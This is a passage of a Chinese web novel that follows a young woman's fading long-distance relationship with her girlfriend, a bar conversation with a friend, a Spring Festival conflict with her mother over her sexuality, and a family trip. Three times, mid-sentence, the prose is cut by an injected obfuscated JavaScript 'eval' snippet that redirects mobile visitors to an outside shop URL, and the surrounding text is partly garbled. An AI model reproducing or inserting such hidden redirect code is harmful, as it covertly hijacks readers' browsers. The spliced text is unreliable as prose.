看着看着,听着听着,秦离趴在了桌子上。半梦半醒间,她听见比赛声音停了,抬头才发现手机已经没电了。 看见她的动静,洛依抬起头,问:“醒了吗?” 秦离点头应着:“嗯,手机没电了。” 换了个位置充电,秦离看了看时间,才四点过,而她的飞机是十点的。 她望着虚空,觉得自己坐在这里,像在静静看着沙漏里的沙子往下漏,像是看见每个人都像幻灯片式一帧帧地动着,很慢很静。 太慢了,时间怎么会变得这么慢。她看着虚幻的时针一秒秒走着,等待着每一秒的消失,浑身像是爬了蚂蚁般难受。 秦离受不了了,只想逃离这种无声的窒息。 她突然开口,声音有点突兀:“要没什么事,要不我们慢慢往机场走了,反正过去也还要一个多两个小时呢。” 其实打车的话,不到一个小时就到了。 洛依放下手机,沉默了片刻,看不出什么表情,最后依旧应道:“好。” 秦离急迫地看着地铁到达,进了机场后,洛依突然说:“我们要不再找个地方坐坐吧。” 秦离应道:“好。” 但或许是天意,机场维修,两人去的是新航站楼,一路上没有任何可以坐的店,也没有任何椅子,就这样走到了安检口。 118. Chapter 118 两个人就这么站着。 秦离突然觉得,这样没什么意思,真的没什么意思。来之前,她还下定决心,见面了一定要和洛依好好谈谈,她们一定能解开心结,一起解决问题,面对未来的。 但现在站在这里,看着洛依的脸,虽然对方没有露出任何不耐的意味,秦离却一个字也说不出口,只觉得疲累。 累,真的好累,累到她只想逃避,逃回家。 心脏发出了难以负荷的信号。秦离舔了舔干燥的下唇,终于开口:“要不我先进去,算上安检时间也差不多了,我进去稍微等会儿。你早点回去吧,路上也不近,明天不是还要上班吗,回去也好早点休息。” 洛依沉默了一瞬,声音有些低,应道:“好。” 秦离看着她,想抱抱她,却感觉她身上仿佛有无形的壁垒,让她连手都无法抬起来。 她只能说话:“那我走了,你要好好照顾自己。” 洛依看着她,眼神依旧明亮,脸庞依旧可爱,应道:“你也是,好好照顾自己。” 秦离转身,轻呼了口气,迈步往前走,走了一段,终于忍不住回头。 洛依还站在原地,望着她那边。 心脏是酸涩的感觉,秦离皱着眉,咬着口腔里的肉,没有表情,泪水却控制不住连串流了下来。 她站在前行的扶梯上,转过身一直看着洛依。 洛依就一直站在那里,直到秦离越来越远,越来越远,到看不见她了,她也一直站在那里,望着她。 看不见洛依了…… 秦离想起第一次分别的时候,洛依说着不想她走,她说请假多呆几天,她开心了,又让她不用真的这样做,只要这样说,她就很高兴了。才刚分开,洛依就给她发了好长的消息。 她好喜欢这样黏人的洛依。 依旧往前走,秦离胡乱将耳机塞进耳朵,声音开得很大,低着头,泪水划过干燥的皮肤,带着刺痛。 她突然后悔了,后悔就这么离开,没有好好说话,没有好好沟通,甚至连拥抱都没有。不管怎么样,至少她要再争取一次。 秦离打开手机给洛依发消息:【要不我下周再过来吧。】 洛依回得很快:【下周我们再看看吧。】 于是秦离被打回原形。 秦离坐在空无一人的候机区,听着耳机里的悲情歌曲。她既笑自己搞个像演悲情电影的,又控制不住眼泪不断往下流。 等着,走着,直到上了飞机靠窗坐下,她的眼泪还没断过。 她靠在玻璃窗上,看着两天前曽期待的那片霓虹灯带越来越远,然后消失不见。 她转动着右手的戒指,看着漆黑的天空里满是星星,没有月亮。 秦离从来没在飞机上看到这么多星星,像是占着世界的三分之二,但她一颗也看不清。 她好像是第一次离星星这么近,于是一直看着,因为害怕它们消失,连模糊的亮光也看不到了。 月亮都不见了,守护它的星星还会在么…… 想看星星,但困意无法抵抗地来袭,最终秦离还是不知不觉闭上了眼。 哭到连泪腺都分泌够了,她昏沉地想着,醒来,星星也不会等她的吧,就像人再痛苦,在遭受睡意和饿意时,依旧会被分出心神。 果然,秦离醒来时,看见天空中全是云,看不见星星了。 飞机快要落地时,她脸上的泪痕也都干了,只有眼睛依旧红肿。她突然想起,她甚至都忘记把曲奇饼干给洛依。 ……算了,哪里买不到呢。 下飞机后,秦离收到洛依一个小时前发来的消息。她实在是熬不住,道晚安后先睡了。 【没事,好好休……】 字打到一半,秦离又把它们全部删了。 算了,都这个点了,还是不要再发消息过去吵醒她。 这之后,生活还跟去花城之前没什么两样。唯一要说不同的,是秦离已经近乎放弃去争取什么了。虽然她依旧和洛依保持着每天从早到晚发消息的习惯,但她们再没打过一通电话。 也没再提过下一次见面。 没有谁说出那两个字,两人依旧把对方当恋人般对待。 只是没有甜言蜜语。 年前的工作并不太忙,休息时间比较多,秦离便卯足了劲写文。 说来好笑,她情场上这样悲惨了,笔下倒是要写些甜甜蜜蜜的热恋小情侣,每天为她们之间的拉扯和花样绞尽脑汁。 数据嘛,也算是她这几本里最好的了,还得到编辑一些青睐。 哈哈,也不错了。 其他时候,秦离会去一家叫“橘色”的女□□坐坐,跟许平平一起。 说是女□□,秦离看得出来,来的大多是拉拉。店面不大,两层楼,店如其名,装潢灯光都营造着缱绻慵懒的氛围,没有那么多乱七八糟的游戏,适合安安静静地品酒聊天。 偶尔店里也会组织一些看电影之类的活动,都不吵闹。 许平平是个18K纯正直女。她虽然对自己在这个男性烂得不行的世界里仍然是个异性恋而感到悲哀,但没办法,她的性向注定她只能做个直女。 但她也是个酒鬼。从国外留学回来后,她爱上品咖啡和鸡尾酒。在知道这家店的老板之一有很多有意思的特调后,便经常跑过来喝酒了。 “不过不知道为什么,每次和你一起来,就总撞不见老板,”没有特调,许平平今天只喝了莫吉托,摇摇头,“说起来,老板一头银灰色的短发,挺帅的,感觉是你喜欢的类型呢。” 秦离点了尼格罗尼。她喜欢里面的苦味,总是点这款。她对许平平的话不很在意:“这又没什么意义。” 她来这家店纯粹是因为环境比较舒服,离许平平家近,可以和她经常一起聊天来着。 许平平是个不幸步入社会的纯粹的理想主义,因此她们的话题总是围绕艺术、美学、社会之类宏大又漫无边际的东西,没什么实际用处,但胜在轻松又净化心灵。 偶尔还能装x,哈哈。 不过今天是许平平郁闷的吐槽日,要回归现实了。 莫吉托太温和了,她又点了杯带劲的,边喝边抱怨着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370248|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我们单位那些人简直太傻叉了。前阵子不是我们刚搬进新修的大楼蛮?也不晓得是哪个领导收了好处,建的这个楼甲醛严重超标,还没得窗子。你能想象一栋写字楼连扇窗子都没有?结果他们为了讨好领导,都不戴口罩,搞得戴口罩的我还要被批评。” “这么离谱?都现在这个年代了,还有人敢这么猖狂啊?就没人去告状?” “有啊,纪检还是审计还来了一圈,后来又走了,也不知道具体是怎么回事。现在没办法,我只能买些除甲醛的放在办公室,被批也只有一直戴着口罩。我感觉最近头都开始痛了,过两天去做个检查。” 秦离听得直摇头:“太惨了。不过我们工作环境也不好,年轻人还好,领导和老同事都抽烟,每天都搞得一身烟味,鼻腔和口腔里都不舒服得很,还头痛。” 这两年她完全不抽烟了,闻到烟味就恶心反胃直咳嗽,有时候还想吐,不知道是不是新冠让感官变得更明显。 以前抽的那些烟比起喜欢,更像一种怀旧和标榜,因为……黎羽,还有毕竟身边喜欢抽烟的拉拉朋友还挺多的,虽然很多已经改成电子烟了。 这点许平平深有同感。她对烟味极其敏感,大马路上看到有人抽烟都躲得远远的,要是去密闭空间,上一波客人留下来的烟味让她难以忍受。 “就是!真想把那些公共场合抽烟的人杀了!明明已经立法不允许公共场合抽烟,还是有那么多人。” “哎……” 两人不约而同叹气。 国企和体制内的工作环境类似,两人都有点理想主义和文青调在身上,对这种官僚主义简直是深恶痛绝。 一大堆无意义的政治学习,还有精神学习、警示教育片、部署动员会、安全会、收心会,把人框死在一亩三分地里,变得规规整整。还有一堆人挤在一个房间里推材料,为了这个词是放前面还是放后面,那个措辞再调整下不断修改,最后得出一份在秦离看来还是差不多的材料。 还有辛辛苦苦做的工作,因为各种非个人因素全部成了无用功,事情能不能成根本不看个人努力。无数的台账和问责机制,大家为了自己的安全着想,凡是涉及敏感事项和多方协作的活,全是模棱两可,推来推去。 “这个不是说行,也不是说不行”,“这件事我也不确定,还要等上级通知”,“政策就是这么规定的,我也没有办法”。难以想象这种秦离以前深恶痛绝的话现在都会从她嘴里讲出来。 受不了,真的是太受不了了。 不能细想……哎…… 缱绻暧昧氛围的酒吧里,两个社畜在这里叹气叹,成了苦瓜。 许平平一口干完最后的酒,趴在桌子上:“好想润啊。” 她跟家里的关系也是一团糟,妈妈是全职主妇,在家里很容易逮着一件小事就数落她很久,这两年更是疯狂让她去相亲,为此还花了不少钱。 秦离也换了第二杯,看着酒吧里的女性们惬意的笑容,也觉得自己格格不入。 她问起许平平:“说起来,你当初毕业为什么要回来啊?” 119. Chapter 119 许平平大学毕业后就去美丽国留学了,去的还是排行前列、很好的大学。她是个对世界感知力很强、自我道德感很高、尤其受不了社会险恶的人。 倒不是说国外就是乌托邦,只是对更偏爱自由和精神追求的她来说,继续深造留在高校怎么看也更适合她。她在国外那两年也确实是精神状态最好的两年,而不是被现在这种保守氛围的工作搞得要去医院。 许平平有些羞赧。说了许多,归根到底还是自驱力和行动力不足,以及家里一直催着回国,她也不想离家太远,签证到期又没找到合适的工作,干脆就回来了。 结果现在在家天天被数落和嫌弃。 简而言之,太过犹豫不决,想得太多做的太少。 其实秦离也有这样的毛病。要是她行动力够强,够果断,大学毕业时就该顺利出国了。不管最后是留在国外还是回来,至少尝试过不后悔。 这点来说,她其实是很羡慕许平平的。包括现在的工作,虽说确实比销售好上不少,但也只是忍耐着在做,并不是自己想要的。 早知道就应该…… 这种念头是最不该产生,也是最让人郁结的。 出来和许平平喝酒聊天本来是为了放松,结果倒把自己聊郁闷了。秦离又端起酒要喝,才发现杯子已经空了。 这时,面前突然出了两杯酒。两人抬头,发现是店里服务生放的。 服务生是个年轻小姑娘,大概还在读大学,说话有些害羞和不自在:“这是,我们开店百日活动,晚上随机抽到一桌客人再每人送一杯特调。” 店里其她客人都看了过来,露出亮晶晶的眼神。大家都很可爱。 秦离意外:“百日活动,还有这种?” 许平平很开心:“哇!管它的呢,有送就是赚啊!不过特调?今天老板不是不在么?” “额……”小姑娘有点过分内向了,抱着盘子不抬头,“那个,老板刚刚来过,有事又走了。”说完她就跑开了。 秦离还是觉得有些奇怪,许平平已经先喝上了:“哇,这酒还加了一点咖啡,好神奇的口感,之前都没喝到过。今天是幸运日,我又好了!” 算了,也不是什么大事,总不至于酒里下了药吧。 秦离摇摇头,笑着端起酒杯抿了一口。杯口涂了些海盐,恰好中和了酒里微甜的味道,酒精含量还挺高,口感很丰富,是她喜欢的味道。 这个神秘老板真的还挺会调酒的。 这个念头在秦离脑里一闪而过,随即便忘了。 这只是一个小插曲,两人接着聊天,话题到最后总会落到一个问题上:我到底想要做什么? 许平平想要做的都是些很浪漫的事,比如当一个画家,比如成为自由新闻撰稿人。 “怎么看都不像能养活自己的样子啊,”秦离感慨着。 她其实想得很清楚,边工作边写文,等写文月收稳定到一个不错的数字,有点名气了,就可以果断辞职了。到时候如果能边读书边写文,偶尔去采采风,啊,听上去都好幸福。 不过秦离也明白,这都是她不想冒风险的权宜之计。靠写作实现财富自由,况且她还是写不来热题材的人,猴年马月才能实现。 到时候,说不定她更难下定决心辞职。 她大概就是这么一个保守不敢去拼去赌的人。 哎,两人再次双双发出叹息。今晚畅想了这么多,回去明天还是要老老实实上班。 晚上和洛依的固定聊天时间,秦离问她:【你最想做什么?】 【一夜暴富,天天追星看番打游戏。】 【哈哈,我不是说这个啦,我是说想做什么工作,作为毕生奋斗的事业的话!】 【要说毕生奋斗也太夸张了,不过如果什么都不用考虑的话,读历史做研究吧。】 秦离想起来了,两人刚认识的时候,洛依也说过类似的话,但她只是想想,不会尝试的。 果然,洛依下一句就是:【但这不现实吧,除了现在这个工作,也没什么其它好干的了。体制外的工作都不太保险,读博成本又太高。】 果然,洛依就是一个保守又现实的人,面对感情也是如此。 若是把洛依当作朋友来聊天,其实是很愉快的。在她的事上,秦离不能细想,一想就觉得心口钝钝的痛。 一旦感觉到痛苦,秦离马上就强行转移注意力。于是才聊了一会,她便道:“啊,我今天更新还没写完呢,那我先去码字啦。” “嗯嗯,去吧。” 对话很快结束,今天两人作为情侣的仪式又完成了。 最近写文频率比较高,秦离也跟一些不同平台写短篇和长篇的作者老师们都熟悉起来。她们有些是全职写作,还有是上班族、全职主妇、自由创业,也有还没成年的小朋友,以及跟秦离一样在体制内的。 大家各有各的忙碌,唯一相同的是为写文和数据都呕心沥血,焦虑得不行。但交流起来,感受到一颗颗写文的热爱之心,秦离的热情也被激起。 不管怎么样,先写吧,只要梦想还在,就让它燃烧着。 到了二月,很快也要过年了。 今年是疫情放开后的第一个新年,妈爸恋旧了,想叫上所有兄弟姐妹和晚辈们,大家在老家团年,一起庆祝下,于是秦离提前几天就请假回去了。 年夜饭分中午一场、晚上一场,妈爸两边都安排上,谁也不漏。 或许大家都是这个想法,因此今年人到得尤其的齐,几个姨姨舅舅,姑姑姑父都回来了,平时不常见面的姐姐哥哥们也没缺席,还有些其她说不上名字的亲戚,满满当当坐了三四桌。 不过崔明秀没有回来。秦离问了她,她说自己孤家寡人一个,年三十和朋友去喝喝酒就行,回来太热闹了反而不习惯。 上次小姨的状态让秦离很担心,但当时没有多的心力,现在状态好些了了,还是想多和她聚聚,希望她好点。 日子总是要过的,缺了谁都是如此。只有等年后了。 秦离其实不太喜欢这种大家团聚的氛围,一群人喝醉了酒,大着舌头,反复说着那些陈芝麻烂谷子的事。还有些一年下来也没怎么接触过的亲戚,这时候要趁机来教育你了,问工作问收入问婚姻,隐隐还要比上一比。 偏偏作为晚辈,明面上不能甩脸色,只能硬着头皮听着,还得回话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370249|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,烦人得很。 而且现在秦离长大了,过年最大的快乐——压岁钱没了,反倒还要发一堆红包出去。 哎,原来只有小孩子才是享受过年的,成年人的脸上都满是生活的疲惫和强撑的笑容。 但或许是经历过疫情的灾难,还有些亲朋好友的去世,大家也都看开了些。比起过往那些世俗的东西,今年被问的更多是身体健康,其它什么都是次要的,好好活着比什么都重要。 不过也还是有例外。 酒足饭饱,大家在一一道别,准备各回各家。秦离一家也打算走了。 这时,她余光瞥见二姨拉着老妈在角落里说小话。二姨显然顾及着上次秦离表现出来的抵触情绪,边说边观察着她这边,不想被她发现。老妈面露难色,犹豫不决,思忖许久,最后还是点点头。 见老妈同意,二姨露出欣慰的笑容,拍了怕她的肩膀,看口型说的是“就该这样做”。 秦离扶额。 她大概能猜到二姨拉着老妈在说什么,无非是介绍对象之类的。不知道该不该说她太念着自己,都年三十了还想着她这档子事。 她清咳了声,加重脚步声走了过去。 说小话的两人瞬间慌乱,挺直了身板,像犯错被班主任逮住的小学生。 秦离觉得好笑,故意逗她们:“老妈,二姨,在聊撒子,聊得这么起劲。” “没……没撒子,这不是一年到头难得聚一次,跟你妈多扯会龙门阵(聊天)嘛。”二姨满脸心虚,嘴皮子倒是掀得更快了,“那个,我们勺勺越长越拽实(结实)了,年轻人,身体就是好,多好滴,哈哈,哈哈……” …… 秦离一阵无语。二姨,我知道自己胖了,不会说话可以不说,真的。 老妈故意高声吆喝着回家,这事暂时告一段落。 晚上,一家三口缩在沙发上,喝着小酒看春晚。酒是老爸买了十多斤葡萄自己酿的,度数不高,甜甜的,配上煮的腊肉有滋有味。小狗趴在脚边,时不时被投喂几口。 一派祥和。 春晚跟往年没有什么区别,就是语言类节目越来越不好笑,歌舞类倒都还不错。 十点多的时候,老妈先回卧室了。大病之后,她熬不得夜,再说跨了几十年的年,多一个也不需要那么有仪式感。 十一点多的时候,老爸也扛不住了,酒精的作用下,歪在沙发上就睡着了。 外面的炮声连天,从八点开始烟花就没断过,不要钱地往天上冲,红的黄的绿的,要把人们憋了两年的沉闷全部爆发开。 秦离给老爸盖好被子,走到窗边。 各种微信群里的祝福和红包都发个没完,她没有看,伏在窗栏上望着亮如白昼的天空。 每一次绽放都多么盛大又短暂。 电视里喊起了倒计时,秦离已经编辑好消息,在主持人喊到零的那一刻,发给了洛依:【新年快乐,乖仔,希望你永远平平安安,开开心心。】 许多消息涌了进来,但她还是一眼看见洛依同一时间发来的那条。 【姐姐,新年快乐,愿你平安喜乐,早日得偿所愿,做真正想做的事。】 120. Chapter 120 新的一年,还没过两天安生日子,糟心事又来了。 还是二姨那件事的后续。 大年初二,阳光正好,老妈一大早就提议到松子岭晒太阳喝茶。 秦离同意了。 喝了没一会,老妈又说有个朋友一家人也要来,到时候中午可以一起在山上吃饭。 秦离说行啊,来就来呗。 这时,她还没察觉到老妈的意图。 直到老妈说“哎呀,她们有点找不到停车的地方,勺勺,你去门口接哈她们”的时候,秦离隐隐觉得不对劲了。 不是吧…… 到了大门口,看见是一对妻夫带着她们儿子出现,手上还提着礼盒时,她终于意识到是怎么回事了。 啧,大过年的,真烦。 对方长辈一来就很客气,说了拜年话又送了茶叶,老妈和她们聊得红火,就像多年认识的好友。老爸闷不做声吃菜,降低存在感。 秦离臭着一张脸,偶尔接两句话。那个男人不知道是看出她不乐意,还是也是被母父逼来的,也没多来搭话。 两边年轻人不对戏,这戏台搭不起来,下午又呆了会,对方一家称还有事就先走了。 人一走,氛围就冷下来了。 老妈低着头夹碗里的米饭,秦离把手机打开又关上,按得啪啪响,心烦意乱。 不知道过去多久,老妈终于抬头:“勺勺……” 秦离以为她又要讲那些劝她“改邪归正”的话,眉头紧皱,火气从心口窜到喉头,就要变成刺耳又尖锐的刀子吐出来。 这时,她看见了老妈通红的双眼,嘴唇翕动着,挤不出一个字。阳光照着她的面庞,将额头、眼尾的皱纹和脸上的沟壑与斑驳照得一清二楚,还有发间夹杂的白丝,原来已经这么多了。 她的气一下子就泄了,突然觉得即将展开的对峙和争吵挺没意思的,除了宣泄情绪,说些上头的伤人的气话,没有任何意义。 秦离余光瞟着周围。 这家茶房已经在松子岭开了二十多年。小时候,妈爸老喜欢和朋友同事跑山上晒太阳打牌,她就跟着一起,和那些阿姨们的小孩一起嬉戏打跳,买些糖果辣条干脆面,在地上扇纸牌斗陀螺。 那时候,她能否出门去找小伙伴玩完全取决于大人们是否上街。要是她们那天没有出门安排,她再急也只能在家里生闷气。 现在,她已经不是小孩了,能决定自己的事,也逐渐掌握家庭话语权,在家庭大事上做关键决策。 而妈妈已经老了,特别是因为大病放缓自己的事业后,她找不到人生支点。过去干练刚强的她迷失了方向,只能把目光投到女儿身上,急切抓住最后一点主导权。她开始像个小孩一样任性,用哭闹来赢得关注和退让。 在这一刻,秦离像被打通任督二脉般,突然释怀了许多。 她又想起年前去姐姐家吃饭,她陪小侄女看动画,将她抱在自己怀里。妈妈和其她长辈在阳台上喝茶。那时,妈妈透过落地玻璃窗看着她逗弄小侄女,露出欣慰又苦涩的笑。 她想,她终究无法说服妈妈接受她的性取向,就像妈妈也无法强迫她改变。 即使是亲密的家人之间,也存在着无法跨越的鸿沟。 秦离脑里闪过许多许多念头。老妈就这样看着她,眼眶越来越红,泪水唰唰往下流,淹过那些沟壑。 秦离深呼吸,平静了心跳后,走过去,坐在老妈旁边,揽住她的肩膀,声音柔和地哄着:“莫事啊,莫事。”边说边用纸巾为她擦去眼泪。 老爸也坐了过来,拍了拍她的后背,无声安慰。 老妈哭得更厉害了,无声的哭泣变成呜咽,最后发展到嚎啕大哭。 她哭了很久,直到晒太阳的小狗都跑过来用头蹭了蹭她的腿,才终于停了下来。 见她情绪慢慢稳定,秦离才放开,语气平稳道:“妈,我马上快三十岁,已经算不上年轻人咯。很多事情,是好是坏,都是我自己认真考虑后选择的结果,我没开玩笑,我在认真对待自己的感受。” “可是……” 或许是秦离平静的语气感染了老妈,她的言辞也不像之前那么激烈。秦离耐心等着她把后面的话说完。 “可是……这个社会终究女人和男人在一起才是主流,其它都是异类。要是大家都像你这么想,人类就要灭亡咯。” 秦离差点被她天真的语气逗笑了,她从来不知道自己老妈还是个关心人类命运共同体的人。 她故意轻松道:“放心吧,不会所有人都跟我一样滴。喜欢同性还是异性,就像是喜欢吃苹果还是橘子,大家都有各人的偏好,不会因为我喜欢吃苹果,全世界的人就都选苹果撒。当然放心,我也不会歧视那些吃橘子的异性恋的。” “这不是一回事……” 老妈被秦离的“诡辩”搅得一团晕,一下子又不知道怎么反驳。 秦离按住她的手背拍了拍。她当然知道这样的话是说服不了老妈的。 她出了个主意:“妈,你知道你说服不了我滴。你不能强迫我去改变,就像我也不能强迫你一定接受我的性向撒。你可以假装不晓得这件事,但也不要再搞些相亲介绍对象之类的事了。现在好好生活本来已经很不容易咯,快乐的事好少好少,不要让家庭再成为我的痛苦,让我逃避,要得不?” 老爸在旁边适时插话:“对,你就当我们女儿是个不婚主义者,不结婚还可以一直和我们在一起,多好滴嘛。” 老妈瞪了他一眼:“现在你们父女两个一条战线,我成了挨批斗的阶级敌人咯哦?” 秦离和老爸同时扑哧笑出声。秦离连忙凑过去卖乖:“没有没有,我肯定是抛开我爸,和老妈你一条心!” 老妈不接招,还是犹豫:“但你也不可能一辈子跟我们在一起撒。等我和你老汉儿走了,你到时候一个人,又没得娃儿,生病了都莫人照顾,孤零零一个人,好造孽哦。” “我等机器人给我养老。”秦离摊手,在老妈瞪人的目光里连忙补充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370250|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“而且靠人不如靠己哦。我现在好好吃饭、好好睡觉、好好锻炼,养好身体多赚钱才是王道。人生变数辣么多,说得直白点,要是又来个疫情撒子的,可能我还没挨到养老就挂了。” “呸呸呸——”老妈连忙打断她,“乱说撒子不吉利的话。” 秦离吐吐舌头,嬉皮笑脸,但心里松了口气,知道老妈其实已经没一开始反应那么激烈了。 老妈重重叹了口气:“其实我也不是没去研究过……” “嗯?” 秦离和老爸都露出诧异的眼神。 “别把我当老古董啊,”老妈神情多了些早年的坚毅,“在外面打拼这么些年,我又不是没见过女人和女人,男人和男人在一起。只不过……确实没见过撒子好结局,散得七七八八,日子也过得不如意……普通妻夫还有婚姻保证,你们有撒子,撒子都莫得……” 秦离沉默了,特别是想到她现在和洛依不上不下的状态。 见女儿如此,老妈连忙趁热打铁:“是吧,所以说,我不想你走上这条路啊……” 深吸一口气,秦离强迫自己尽量忘记想起洛依的钝痛。她艰难开口,语速缓慢:“妈妈,这条路不是我的选择,是我的本性。我不敢保证和女生在一起,或者……没有合适的人在一起,我的生活一定会过得很好。但是……” “那么多异性恋把自己的生活过得一团糟,她们不需要做任何事,就能让大家认可她们的异性恋身份。我为什么一定要把生活过得很好,才能证明我有身为同性恋的资格呢?” “我也很想把生活过好,但我不知道未来会怎么样,我只能去努力。但即使我人生不如意,最终落得悲惨的结局,我也是一个同性恋,我做过的每一件事也都是我认真思考并且行动的结果。” “我不需要自证。” 好果苦果,她都自己吞了。 或许是秦离眼里的情绪太深沉,老妈愣住了,抿着嘴没有再说什么。 气氛很沉闷,太阳还没有落山,一家人就收拾东西回家了。 回家后,老妈老爸都回了卧室,秦离望着空荡荡的客厅,只有小狗摇着尾巴在她脚下晃来晃去,眼睛湿漉漉地望着她。 她蹲下,逮着善良摇粒绒的狗头狠狠rua了两把,心里终于畅快了。 第二天要去走亲戚,一家三口出去喜庆热闹了番后,回来老妈情绪依旧不高。 秦离抓抓头发,有些烦躁,但自己该说的都说了,也不知道该怎么办。 在老妈打算回房间前,老爸叫住了她。 “在家天天走亲戚也没意思,要不,我们出去旅游吧。” 秦离和老妈抬头,齐刷刷看向他。 老爸笑了笑,摇了摇手机:“家里太冷了,我查了下,我们一家三口去勐城避寒,穿越雨林、吃菌汤锅,怎么样?” 秦离连连点头,望向老妈。 老妈愣了片刻,最终在父女俩期待的目光下,露出了笑容。 “好。” 121. Chapter 121 说走就走,秦离订了机票,三个人晚上就到勐城了。 勐城的温度比南城要高太多,到的时候太阳已经落山了,都还只用穿长袖长裤。秦离订了江边的酒店,楼下就是夜市,虽然是大年初三,游客却很多,都穿着异域风情服饰,头上戴着鸡蛋花,鲜艳夺目。 “走走走,我们也去逛逛!” 秦离拉着妈爸涌入人群,在换上舒服的大象裤和印着椰子树的T恤后,一家人也完美融入其中。 第二天,把市区的景色看得差不多了后,秦离租了辆车,往西边开去。 这场旅行是随兴而起,没有安排,没有目的。车子大开着窗户,放着上个世纪八九十年代的流行老歌,一家人走到哪儿就停到哪儿,看心情。 勐城白日的阳光十分浓烈,热情洋溢,照得人心中所有寒气都消散,就像路边的“仙人掌”那样生机勃勃。 “这是仙人掌?” 秦离把车停在路边,探头去看大片大片照着小灯泡,形似仙人掌的绿色植物。 老爸否定了:“仙人掌不需要大面积养殖吧。” 老妈动作挺快,已经拿手机扫了扫识图:“火龙果吧?” 秦离诧异:“火龙果树长这样吗?” 讨论无果。 往西边的路笔直宽敞,又开了一段路,秦离看见了路边卖火龙果和各种干货的本地人。 “买点火龙果吧,刚摘的,一块钱一斤,十块钱一袋,包甜。” 好便宜的价格! 常年遭遇水果刺客的秦离忍不住买了一大袋,掰开一个一口咬下去,鲜嫩多汁,真的好甜!跟在南城吃的又贵又干巴无味的火龙果完全不一样! 我爱火龙果! 车停在了路边,三个人踩着拖鞋,戴着草帽,蹲坐在路边台阶上啃火龙果,空气中都是幸福的味道。 卖货大姐趁机又推销了菠萝蜜,香蕉片等一堆干货,三人看着路上车辆飞驰而过,也有些停停走走,她们坐地继续吃。 勐城的阳光从来不吝惜自己的光辉,三个小小的影子落在身前,依靠在一起。 最后走之前,秦离还不忘跟大姐求证那植物到底是不是火龙果树,得到了大姐的肯定认证。 “耶!”老妈戴着红色墨镜走在前面,转头朝父女俩比了个手势,笑容灿烂。 秦离也笑了,挤出脸颊上的小梨涡。 这里的一切都是如此热烈,让秦离在勐城的心情一直饱满高昂。 火龙果事件后,老妈开始沉迷识别路边各种植物,拿手机拍拍拍,一路上说个不停。秦离和老爸时不时应和着夸奖她,哄得她嘴角没落下来过。 西边的风景都很美,只是没有什么大的打卡景点,但一家人走走停停,也不在意,直到开了三四个小时,到达边境的寨子才停下。 这里开到尽头了。 看看边境的界碑、对面邻国的大金塔和长成一片森林的大榕树,吃吃勐城菜,喝喝寨里人自己酿的酒,一天过去得很快。 晚上住宿的老板建了全寨子最好的民宿,一晚才两百块钱。她早些年是做木材生意的,赚了不少钱,现在懒得动了,就“退休”开了这么家民宿,居然头发还很多,每天喝喝茶晒晒太阳逗逗狗。 梦寐以求的退休生活。 老妈跟她很投缘,一直聊到快十点,互加了微信,才不舍地回房。 洗漱完了,倒在床上,秦离才意识到除了早上出门前,她今天一整天都没怎么和洛依发消息。 或许是和家人一起出游的感觉太幸福太美好,让她完全没有想到远在异地的另外一个人。 打开手机前,秦离已经做好了收到很多消息,洛依问她怎么不回消息,自己疯狂道歉解释的准备。 然而微信栏里,除了许多乱七八糟的消息,洛依那一栏没有红点,最新对话还是她早上发的最后一条:【那我出门啦!】 秦离愣住,心里空落落的,后知后觉,是哦,她们已经不会每天发很多很多消息,洛依也不会因为她消失了短短一会就哭诉她怎么不理自己了。 一切都已经变了。 秦离将自己卷进被子里,看着窗外的点点灯光,打着字:【睡了吗?】 那边隔了段时间才回:【我刚洗漱完,今天去叔叔家拜年,一大堆人,还有好多小孩,真是累死了。刚刚洗澡水还有点问题,不够热,冻得我直发抖。】 庸城的冬天很冷,秦离是知道的。但她现在和洛依的感官无法共通,温度无法传递,只能打下冷冰冰的文字:【快点钻被窝里去吧,别感冒了,电热毯和空调开足。】 【嗯,都开着呢。】 等洛依也躺下了,两人都侧卧着,才慢慢开始分享白天的种种,交换了很多照片,直到深夜。 第二天要去吃菌汤锅,然后逛植物园。老妈叫上昨天没聊够的木材老板,一路上说个不停,老爸则勤勤恳恳帮她们拍照。 这次秦离记得了,在路上一直给洛依实时播报她的行程和路上的风景,但代价就是……和妈爸的交流就变少了。 “勺勺,莫耍手机咯,出来耍就多看看大自然撒。” 老爸在喊她。 秦离犹豫了片刻,最后还是发了句【我先陪我妈爸哦】后把手机塞进兜里。 “来了!” 去山谷里看大象、去雨林里当猴子、去广场上蹦野迪、去边境河上吹风,秦离带着妈爸把感兴趣的活动全都玩了遍。 离开勐城前的最后一天,妈爸也玩累了,选择在山上喝喝茶、晒晒太阳、吃吃茶火锅,日子又跟在松子岭没什么区别了。 这天也是洛依的生日。 